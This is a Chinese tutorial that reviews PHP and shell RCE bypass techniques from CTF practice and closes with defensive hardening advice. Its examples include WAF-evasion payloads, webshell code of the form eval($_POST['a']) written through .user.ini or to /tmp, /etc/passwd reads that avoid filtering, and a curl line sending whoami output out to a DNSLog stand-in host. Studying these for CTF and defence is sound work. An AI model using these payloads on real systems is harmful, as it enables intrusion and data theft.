1. 项目概述:从靶场到实战的RCE绕过思维
最近在复现和总结一些经典的RCE(远程代码执行)靶场时,我发现很多题目虽然场景各异,但核心的绕过思路却有着惊人的共通性。尤其是那些涉及PHP的eval()函数和Linux shell通杀符的关卡,它们像是一道道精心设计的谜题,考验的不仅是漏洞利用的熟练度,更是对语言特性和系统环境的深刻理解。通关之后,我梳理了其中最具实战价值的五个技巧。这些技巧并非孤立的奇技淫巧,而是一套在面对代码执行限制、字符过滤或命令注入拦截时的系统性解题思路。无论是进行代码审计、渗透测试还是CTF比赛,理解这些绕过手法的底层逻辑,都能让你在发现漏洞后,更高效地构造出可用的攻击载荷。
简单来说,RCE绕过的核心目标就是:在受限的环境下,让目标系统执行我们想要的代码或命令。限制可能来自WAF(Web应用防火墙)、应用自身的过滤函数、disable_functions配置,甚至是代码本身的逻辑。而我们的武器,就是PHP语言本身的灵活性和操作系统Shell的丰富特性。这篇文章,我会带你深入这五个技巧的细节,不仅告诉你“怎么做”,更重点剖析“为什么能这么做”,并分享我在实战和靶场中踩过的坑和总结的经验。无论你是刚入门安全的新手,还是想深化理解的老手,相信都能从中获得启发。
2. 核心思路拆解:利用语言与系统的“特性”
在深入具体技巧之前,我们必须建立一个核心认知:绕过,本质上是利用开发者意料之外的语言特性或系统功能。它不是“魔法”,而是基于对规则(语法、函数、环境)的深刻理解,从而找到规则的边界甚至漏洞。
2.1 靶场环境的典型限制分析
常见的RCE挑战环境,尤其是PHP相关的,通常会设置以下几类限制:
- 字符过滤:过滤或转义空格、引号、分号、反斜杠、点号、括号等关键字符。例如,
system($_GET[‘cmd’])中的system和反引号被过滤。 - 函数禁用:通过
disable_functions配置禁用system、exec、passthru、shell_exec、popen、proc_open等直接执行命令的函数。 - 代码构造限制:在
eval($_GET[‘code’])场景下,限制传入的代码不能包含某些关键字(如phpinfo、flag)或必须符合特定格式。 - 无回显:命令执行了,但结果不直接输出到页面上(盲注),需要借助外带(DNSLog、HTTP请求)或写入文件等方式获取结果。
- 目录与文件限制:无法读取特定文件(如
/flag),或当前目录不可写。
我们的绕过技巧,就是针对这些限制的“组合拳”。下面,我将围绕PHP动态特性和Shell通配符技巧两大主线,展开五个实战技巧。
3. 技巧一:利用PHP字符串动态函数与可变变量
这是PHP环境下最经典、也最基础的绕过思路之一,主要应对函数名被过滤的情况。
3.1 核心原理:$var()与$$var
PHP有两个强大的特性:
- 可变函数:如果一个变量名后有圆括号
(),PHP会尝试寻找与变量的值同名的函数,并执行它。例如:$func = ‘system’; $func(‘whoami’); // 等同于 system(‘whoami’); - 可变变量:一个变量的变量名可以动态地设置和使用。
$$a的含义是,先取得$a的值,将这个值作为变量名,再取得这个新变量名的值。例如:$a = ‘hello’; $hello = ‘world’; echo $$a; // 输出 ‘world’
3.2 实战绕过场景与构造
假设一段过滤代码如下:
$blacklist = [‘system’, ‘exec’, ‘shell_exec’, ‘passthru’]; $cmd = $_GET[‘cmd’]; foreach ($blacklist as $bad) { if (stripos($cmd, $bad) !== false) { die(‘Hacker!’); } } // 假设这里有个危险的点,比如 eval(“echo \”$cmd\”;”);直接传入system(‘ls’)会被拦截。此时可以利用字符串拼接或编码构造函数名。
方法A:字符串拼接/异或构造PHP中,字符串可以用.拼接,也可以用异或^等位运算生成。
// 拼接:’sys’ . ‘tem’ $_REQUEST[‘cmd’] = (‘sy’.’st’.’em’)(‘ls’); // 异或生成(在单/双引号解析的特定环境下):`‘s’^‘\x01’` 等,但更常用的是利用PHP字符串的自增特性或数组。更通用的是利用$_POST或$_GET数组本身。例如,传入?a=system&b=ls,在代码中构造:
$_GET[‘a’]($_GET[‘b’]); // 如果a和b可控,则形成动态函数调用方法B:利用内置函数创建函数名如果过滤了字母,可以尝试用chr()函数拼接出函数名的ASCII码。
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // $f = ‘system’ $f(‘whoami’);实操心得:在真实环境或复杂靶场中,WAF可能也会检测常见的拼接模式如
chr(。此时可以尝试使用hex2bin()、base64_decode()配合编码,或者利用get_defined_functions()等内部函数来寻找未被过滤的路径。关键是灵活,不要死记一种payload。
4. 技巧二:无参数RCE与PHP“套娃”式函数调用
当你的输入点被限制为无参数函数调用,或者只能控制一个复杂表达式的一部分时,这个技巧就派上用场了。典型场景是eval(“echo \””. $_GET[‘input’] .”\”;”),但input的内容会被严格过滤,无法直接包含括号和参数。
4.1 核心原理:利用返回值作为参数
思路是:通过一系列无需括号即可调用的函数(或无参函数),层层递进,最终读取文件或执行命令。核心是以下几个函数或特性:
getallheaders():获取所有HTTP请求头,返回数组。我们可以将命令写在某个Header里(如X-Forwarded-For),然后通过数组操作取出。session_id()/session_start():如果可控session_id,可以将其设置为payload,然后通过session_id()获取。localeconv()/current():localeconv()返回本地化信息数组,其第一个元素通常是点号.。current()取数组第一个值。.可以用于目录遍历。scandir():列出目录。配合.或current(localeconv())可以扫描当前目录。array_reverse()、next()、end()等数组操作函数,用于在文件列表中导航。readfile()、highlight_file()、file_get_contents()用于读取文件内容。
4.2 一个完整的无参数读文件示例
假设代码是eval($_GET[‘code’]),且code不能包含引号、括号传参。
目标:读取当前目录下的flag.php。
步骤拆解:
- 获取当前目录列表:
scandir(current(localeconv()))。localeconv()[0]是.,current()取到.,scandir(‘.’)列出文件。 - 在列表中定位
flag.php:通常需要遍历。如果flag.php在列表的固定位置(比如第三个),可以用array_reverse()、next()等组合。例如,假设它在正数第三个:
一个经典的payload是,通过// 这是一个思维链,实际eval中需要组合成一个表达式 $files = scandir(‘.’); // 得到数组 [‘.’, ‘..’, ‘flag.php’, ‘index.php’, …] // 需要跳过前两个元素。一种方法是: next(scandir(‘.’)); // 指针移到 ‘..’ next(scandir(‘.’)); // 指针移到 ‘flag.php’? 不对,每次scandir(‘.’)都是新的数组。 // 正确做法需要将数组赋值给一个变量,但无参数时不能直接赋值。可以用array_reverse后再取。 // 更常见的做法是:如果知道文件名,可以用array_search(),但它需要两个参数。 // 实战中,更暴力的是用`print_r(scandir(current(localeconv())))`先查看列表结构(如果允许输出)。session_id()把文件名带进去(但需要session_start())。 - 读取文件:一旦得到文件名
$filename,用readfile($filename)或highlight_file($filename)输出。
一个更直接、利用getallheaders()的示例:
- 请求时添加一个Header:
X-Forwarded-For: <?php system(‘ls’);?> - Payload:
eval(end(getallheaders())); getallheaders()返回所有头部的数组,end()取到最后一个头部的值(即X-Forwarded-For的内容),然后eval执行。
注意事项:无参数RCE非常依赖环境配置和PHP版本。
getallheaders()是Apache特有的函数,在Nginx+FPM下不可用。session_id()需要session_start()且session.upload_progress或类似功能开启。在实际测试前,最好先用phpinfo()确认这些函数是否存在和可用。
5. 技巧三:Shell通配符的妙用——命令注入的“万金油”
当成功注入到系统命令中,但命令的某些字符(如空格、斜杠、点号)被过滤时,Linux Shell的通配符(Wildcards)就成了我们的救命稻草。这招在CTF中尤其常见。
5.1 核心通配符回顾
*:匹配任意长度任意字符(包括零个)。?:匹配任意单个字符。[abc]:匹配方括号内列出的任意一个字符(如a、b、c)。[a-z]:匹配一个字符范围。[!abc]或[^abc]:匹配不在列出的字符中的任意一个字符。
5.2 实战绕过场景
场景1:空格被过滤空格是命令参数的分隔符。被过滤后,cat /etc/passwd无法执行。
- 绕过方法:使用Shell的内部变量
${IFS}、$IFS$9或<、>重定向符。cat${IFS}/etc/passwdcat$IFS$9/etc/passwd($9是第九个参数,通常为空,用于隔开)cat</etc/passwd(使用输入重定向)
场景2:斜杠/被过滤无法直接指定路径,如/etc/passwd或/bin/cat。
- 绕过方法:
- 利用环境变量:
cat ${PATH:0:1}etc${PATH:0:1}passwd。${PATH:0:1}通常截取到/。但依赖PATH格式。 - 利用通配符
?和已知目录:如果知道命令在/bin下,但/被过滤,可以尝试???/??t来匹配/bin/cat。这需要知道目录名的长度。 - 更强大的:使用
*进行目录遍历(本技巧核心)。假设当前目录下只有一个子目录bin,那么*/cat就能匹配到/bin/cat。对于文件,如果知道文件名但不知道路径,可以用find命令配合通配符。例如,过滤了/和flag这个词,但我们可以用:cat $(find / -name *lag* 2>/dev/null)。即使/被过滤,我们也可以从根目录开始find。
- 利用环境变量:
场景3:点号.被过滤(常用于隐藏文件或扩展名)
- 绕过方法:用
*匹配。例如,读取flag.php,可以用cat flag*或cat fla*。如果当前目录只有这一个fla开头的文件,就会成功。
5.3 一个综合案例:过滤了空格、斜杠和cat命令
目标:读取/flag。 已知:cat、/、空格被过滤。more、less、head、tail、nl等可能可用。
构造Payload:
- 我们需要一个命令来替代
cat。假设more可用。 - 需要表示根目录和文件名。用
*来匹配。根目录/无法表示,但我们可以利用通配符在当前目录的上级目录中匹配。如果我们在/var/www/html,../../*可能匹配到根目录下的文件,但不确定性高。 - 更可靠的方法是,利用
find命令本身。即使/被过滤,find的路径参数可以用.代替,并通过-name用通配符匹配文件名。
但是这里出现了空格(find . -name *lag* -exec more {} \;-exec前后)。如果空格被严格过滤,此路不通。 - 终极方案:使用
$IFS替代空格,并用*构建路径猜测。- 假设
flag文件在根目录,且文件名就是flag。 - Payload:
more${IFS}*lag或more$IFS$9*lag。 - 这个payload会在当前目录及所有子目录中查找以任意路径开头、以
lag结尾的文件。如果系统中有且仅有/flag符合这个模式,它就会被more命令读取。风险是可能匹配到多个文件。
- 假设
踩坑记录:通配符扩展是由Shell完成的。如果注入点是在PHP的
exec()、system()等函数中,Shell会正常扩展通配符。但如果注入点是在一些自定义的、模拟命令执行的环境中,通配符可能不会生效。所以,在实战中,通配符技巧成功后,是判断是否存在真实命令注入(而非代码执行)的重要标志。
6. 技巧四:编码与变形——对抗WAF与过滤函数
当直接的关键字(如eval,system,flag)被正则表达式或WAF规则直接拦截时,我们需要对Payload进行编码或变形,使其在检测时“看起来不像”,但在执行时能恢复原样。
6.1 常用编码与变形手法
Base64编码:
- PHP中可以用
base64_decode()解码执行。 - Payload:
eval(base64_decode(‘c3lzdGVtKCdscycpOw==’));(即system(‘ls’);) - 如果
base64_decode也被过滤,可以尝试convert_uudecode()等冷门函数。
- PHP中可以用
Hex编码:
- PHP中可以用
hex2bin()转换。 - Payload:
eval(hex2bin(‘73797374656d28276c7327293b’));
- PHP中可以用
Rotor13编码:
- PHP用
str_rot13()。 - Payload:
eval(str_rot13(‘flfgrz(‘yf’);’));(注意,只编码了字母,括号分号未编码)
- PHP用
字符串反转:
eval(strrev(‘;)(‘metsys’))’));需要配合其他技巧执行,因为反转后语法错误。通常用于绕过简单的字符串匹配。
利用PHP的字符串解析特性:
- PHP在将参数传入函数时,会对字符串进行解析。例如,
$_GET[‘cmd’]中的cmd可以写成c.m.d或c+m+d(在某些上下文中会被转换成cmd)。但这通常适用于变量名,而非函数体内的字符串。
- PHP在将参数传入函数时,会对字符串进行解析。例如,
利用HTML实体或URL编码:
- WAF可能解码一次,但应用层可能解码两次。例如,传入
%2570%2568%2570%2569%256e%2566%256f(双重URL编码的phpinfo),WAF解码一次看到%70%68%70%69%6e%66%6f(仍是编码),可能放过。而PHP接收到$_GET时自动解码,得到phpinfo。
- WAF可能解码一次,但应用层可能解码两次。例如,传入
6.2 组合拳与高级变形
单纯的编码可能被WAF检测解码过程。高级绕过需要组合:
- 拆分+拼接+编码:将
system拆成‘sy’.‘st’.‘em’,然后对每一部分进行base64编码,再在代码中拼接解码。 - 利用
.htaccess或php.ini进行预定义(需文件上传权限):在可写的目录下,设置php_value auto_prepend_file为一段编码后的恶意代码,这样所有php文件都会包含它。 - 动态生成Payload:通过一段“无害”的代码,动态写出真正的恶意代码并包含。例如:
// 假设这是传入的code参数 $f = ‘/tmp/’.md5(rand()).‘.php’; file_put_contents($f, ‘<?php system($_GET[“c”]);?>’); include($f); // 然后访问生成的文件执行命令
经验之谈:对抗WAF是一个持续的过程。最好的方法是fuzz(模糊测试)。用一个基础的Payload,然后通过Burp Suite的Intruder或自定义脚本,对Payload的各个位置进行替换、编码、插入垃圾字符等操作,观察哪些变体能成功绕过。记录成功的变体,分析其规律,往往能发现WAF规则的盲点。
7. 技巧五:利用PHP错误处理与标签特性执行代码
这个技巧相对偏门,但在某些极端过滤环境下有奇效。它利用了PHP在解析文件时的一些“宽容”特性。
7.1 利用短标签<?=和<%
如果服务器配置了short_open_tag=On,可以使用<?=代替<?php echo。这在某些过滤了php关键字但未过滤<?=的场景下有用。ASP标签<%和%>在asp_tags=On时也可用,但现代PHP默认关闭。
7.2 利用<script language=”php”>标签
这是一个合法的PHP标签,但极少使用。如果过滤了<?php和<?=,但未过滤<script,可以尝试:
<script language=”php”>system(‘ls’);</script>7.3 利用PHP的错误处理器assert()与字符串执行
assert()本身是一个断言函数,但它会将其字符串参数作为PHP代码执行(如果配置允许)。更关键的是,在PHP 7.2以前,assert()的参数可以是字符串,并且会像eval()一样执行。虽然高版本已修改此行为,但在一些老旧靶场或环境中仍可能遇到。
assert(‘system(“ls”)’);如果assert被过滤,可以尝试用可变函数或编码绕过。
7.4 最偏门的技巧:利用.user.ini与auto_prepend_file
这严格来说不算“执行”技巧,而是“持久化”或“预包含”技巧。但它能绕过很多对直接代码执行的过滤。
条件:
- 有一个可上传或可写文件的目录。
- 该目录能被PHP访问(即通过Web可访问到该目录下的php文件)。
方法:
- 在该目录下创建一个
.user.ini文件(注意开头的点)。 - 内容为:
auto_prepend_file=base64编码的恶意代码文件路径或data://伪协议- 例如:
auto_prepend_file=/tmp/shell.png(假设/tmp/shell.png内容是<?php eval($_POST[‘a’]);?>) - 或者使用
data://伪协议直接包含代码:auto_prepend_file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=(需allow_url_include=On)
- 例如:
- 访问该目录下的任何一个正常的PHP文件,你的恶意代码都会在该文件头部自动执行。
这个方法的强大之处在于,它不依赖于主应用代码中存在eval()或include()漏洞,只要它能影响目录下的其他文件即可。防御方法是将open_basedir设置好,并禁止上传目录执行PHP。
8. 实战问题排查与技巧选择指南
掌握了这么多技巧,在真实面对一个黑盒目标时,如何快速测试和选择最有效的绕过方法呢?以下是我总结的排查流程和决策思路:
8.1 信息收集与试探
- 确定注入点类型:是PHP代码执行(
eval,assert,preg_replace /e模式)还是系统命令注入(system,exec, 反引号)?尝试输出phpinfo()或执行whoami/id来判断。 - 探测过滤规则:
- 发送基础Payload:如
phpinfo();或system(‘id’);。观察是直接执行、报错、被清空还是返回拦截页面。 - fuzz特殊字符:依次测试空格、引号(单双)、分号、反斜杠、括号、点号、斜杠、美元符号等,看哪些被过滤或转义。
- fuzz关键字:测试
system,exec,shell_exec,passthru,eval,assert,file_get_contents,scandir等函数名,以及flag,cat,ls,id等命令名是否被拦截。
- 发送基础Payload:如
- 查看错误信息:如果开启了
display_errors,错误信息是宝贵的线索,可能暴露过滤逻辑、路径或可用函数。
8.2 技巧选择决策树
基于探测结果,可以按以下路径选择技巧:
- 情况A:函数名被过滤,但括号和参数可控->优先尝试技巧一(可变函数)。用拼接、编码、数组方式构造函数名。
- 情况B:输入点限制极严,几乎不能带参数->考虑技巧二(无参数RCE)。检查
getallheaders(),session_id(),scandir(‘.’)等是否可用。 - 情况C:确认是命令注入,但空格、斜杠等分隔符被过滤->优先使用技巧三(Shell通配符)。用
${IFS}代替空格,用*和?匹配路径和命令。 - 情况D:Payload被WAF直接拦截,返回403等->使用技巧四(编码变形)。尝试Base64、Hex、双重编码,或拆分关键字。
- 情况E:以上都无效,且有文件上传或写入权限->考虑技巧五(.user.ini)或其他文件包含技巧。尝试写入
.user.ini或.htaccess进行持久化。 - 情况F:疑似有
disable_functions限制-> 尝试使用未被禁用的函数。用phpinfo()查看disable_functions列表。寻找imap_open、mail、ldap_connect等可能用于绕过(如利用其内部命令执行)的函数,或者使用PHP-FPM/UAF等更高阶的绕过手法(这已超出本文基础技巧范围)。
8.3 常见问题与解决方案速查表
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| Payload提交后无任何输出 | 1. 代码执行但无回显(盲注) 2. 执行出错被静默处理 3. Payload本身语法错误 | 1. 尝试外带数据:system(‘curl http://your-dnslog.com/‘.whoami)2. 尝试写入文件: file_put_contents(‘/tmp/test’, ‘test’)3. 简化Payload,先用 phpinfo();测试 |
| 返回“Hacker!”或“非法输入” | 触发了应用层或WAF的关键字过滤 | 1. 对关键字进行编码(Base64, Hex) 2. 拆分关键字( ‘sy’.‘st’.‘em’)3. 使用同义函数或命令( passthru代替system,nl代替cat) |
| 命令执行了但结果不完整 | 可能有长度限制或输出被截断 | 1. 将输出重定向到文件:command > /tmp/out.txt2. 使用 more、less等分页命令(如果允许)3. 用 base64编码输出结果,避免特殊字符截断 |
使用通配符*匹配不到文件 | 1. 当前目录无匹配文件 2. Shell通配符扩展被禁用(极少见) 3. 路径不对 | 1. 先用find . -type f查看目录结构2. 尝试绝对路径通配: /usr/bin/*3. 使用 ?精确匹配字符数 |
eval()执行编码Payload失败 | 1. 编码方式错误 2. eval内不能直接使用base64_decode等函数返回值 | 确保Payload是完整的PHP语句。例如,eval(base64_decode(‘…’));是正确的,而eval(‘base64_decode(“…”)’);解码后可能不是有效代码。 |
9. 防御视角:如何避免自己的代码被绕过
作为开发者,了解攻击手法是为了更好地防御。针对上述绕过技巧,以下是一些加固建议:
- 严格输入过滤与白名单:不要试图用黑名单过滤所有危险函数和字符。对于命令执行或文件包含,应尽可能使用白名单,只允许预期的、有限的字符集。对于代码执行(如模板引擎),应彻底避免使用
eval()。 - 使用参数化接口或安全函数:
- 对于系统命令,使用
escapeshellarg()或escapeshellcmd()对参数进行转义。 - 对于文件操作,使用
basename()、realpath()(结合白名单)来规范路径,避免目录遍历。 - 对于数据库,使用预处理语句(PDO)。
- 对于系统命令,使用
- 配置安全:
- 在
php.ini中设置disable_functions,禁用不必要的危险函数。 - 设置
open_basedir,限制PHP可访问的目录范围。 - 关闭
register_globals、allow_url_include、allow_url_fopen(除非必要)。 - 将
short_open_tag和asp_tags设为Off。
- 在
- 最小权限原则:运行Web服务的用户(如www-data)应具有最低必要的权限。避免使用root权限运行PHP-FPM或Apache。
- WAF与日志审计:部署WAF作为纵深防御的一环,并定期审计应用日志和系统日志,寻找攻击迹象。
- 代码审计与安全意识:定期进行代码安全审计,对开发人员进行安全培训,从源头减少漏洞。
通关靶场只是第一步,将这些绕过技巧内化为对PHP和Shell底层行为的理解,才能在真实的攻防对抗中灵活应变。最重要的不是记住每一个Payload,而是掌握那种“在限制中寻找可能性”的思维模式。每次遇到新的过滤规则,都是一次对知识深度的考验和拓展。